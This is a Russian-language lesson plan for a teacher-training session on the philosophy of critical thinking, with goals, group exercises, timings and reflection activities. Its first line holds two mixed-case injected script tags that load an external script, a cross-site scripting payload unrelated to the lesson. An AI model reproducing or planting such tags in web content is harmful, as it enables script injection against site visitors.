<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Тема

тренинга:

 Философия критического мышления

Цель:

Сформировать

представление «философия критического мышления».                                                                                                         

Задачи обучения:

·      Ознакомить

педагогов с понятием «философия критического мышления»

через презентацию.

·      Выстроить

видение структуры критического

мышления.

·      Убедиться в важности критического мышления.

·      Определить характеристики человека,

умеющего критически мыслить. 

Результат

обучения:

По завершению

тренинга учителя:

- будут иметь

представление о критическом мышлении как дисциплинарном подходе к осмыслению,

оценке, анализу и синтезу информации, полученной в результате наблюдения,

опыта, размышления или рассуждения, что может в дальнейшем послужить

основанием к действиям;

- определят характеристики человека, умеющего

критически мыслить.

Основные (ключевые)

идеи:

- «Критическое мышление» означает концентрацию

мышления на процессе решения каких-либо вопросов или проблем.

- Критическое

мышление проявляется, когда происходит процесс рассуждения, формулировки

выводов или решения проблем.

Ресурсы:

Презентация, маркеры, стикеры,

листы для выполнения заданий, приложения 1-4.

Виды заданий

Деятельность

учителей и подходы, используемые для выполнения данного задания

Деятельность и

вопросы коуча

Время

Приветствие

Приветствует

участников тренинга.

2

мин.

 Упражнение "Подарок"

Налаживание эмоционального

настроя.

- Сейчас мы будем делать подарки друг другу. Начиная с

ведущего, каждый по очереди средствами пантомимы изображает какой-то предмет

и передает его своему соседу справа (мороженое, ежика, гирю, цветок и т.п.)

5 мин.

Формирование

групп

Распределяют роли

среди участников групп.

2 мин.

Введение

в тему тренинга

Коуч рассказывает притчу о том, как изменить мир.  Сообщает тему, цели тренинга.

3 мин.

Практическое

задание 1

Рассматривают

слайд. Определяют, что видят.

Вывод: настоящее открытие - не в

поиске новых земель, а во взгляде на мир новыми глазами.

3

мин.

Практическое

задание 1

Рассматривают

картинку (Приложение 1). Составляют

вопросы.

После прочтения

вопросов, группы их ранжируют: тонкие и толстые.

- Каких вопросов

у вас больше: толстых или тонких?

- Какие вопросы

возникают в первую очередь: толстые или тонкие? Почему?

Задание: составить 10 всевоможных вопросов по картинке.

Вывод: "Не мыслям надобно учить, а мыслить".

(Иммануил Кант)

10

мин.

Задание

«Закончи предложение»

Дают определение понятию  «Критическое мышление».

Задание: дать определение понятию  «Критическое мышление».

Знакомит с некоторыми определениями критического мышления.

5

мин.

Работа с теоретическим материалом

Знакомятся с

теоретическим материалом «Структура

этапов мышления» (Приложение 2).

- Объясните закономерность понятийной цепочки: научное мышление -

креативное мышление -критическое мышление.

Рассматривают материал «Структура

критического мышления» (Приложение 3) и отвечают

на вопрос:

- Почему критическое мышление так важно?

Вывод: критическое мышление - это:

P  способность ставить новые, полные смысла

вопросы;

P  вырабатывать разнообразные, подкрепляющие

аргументы;

P  принимать независимые продуманные решения.

5

мин.

Задание  «Характеристики человека, умеющего критически мыслить»

Составляют характеристики человека, умеющего

критически мыслить (Приложение 4,5).

Обобщает

выступления.

Развитие

критического мышления предусматривает

развитие ключевых навыков опроса, аргументации и способности демонстрировать… 

10

мин.

Рефлексия

Заполняют листы обратной связи: «+» - «-» -

«интересно».

Инструкция:

- «Плюс»

- записываются факты, которые отвечают на вопрос «Что хорошего было в

тренинге»?

- «Минус» - факты и мысли, которые

отвечают на вопрос «Что не удалось?»

- «Интересно» - запись различных

интересных фактов, мыслей, предположений.

5 мин.

Упражнение «Аплодисменты по кругу»

Ведущий начинает тихонько хлопать в ладоши, глядя на одного из участников

и постепенно подходя к нему.

Далее уже этот участник выбирает из группы следующего, кому они

аплодируют вдвоем с ведущим. Третий выбирает четвертого и т.д.

Последнему участнику

аплодирует уже вся группа.

– Мы хорошо поработали сегодня, и мне хочется предложить вам игру, в ходе

которой аплодисменты сначала звучат совсем тихонечко, а потом становятся все

сильнее и сильнее.

- Всем

спасибо за активное участие!!!

5 мин.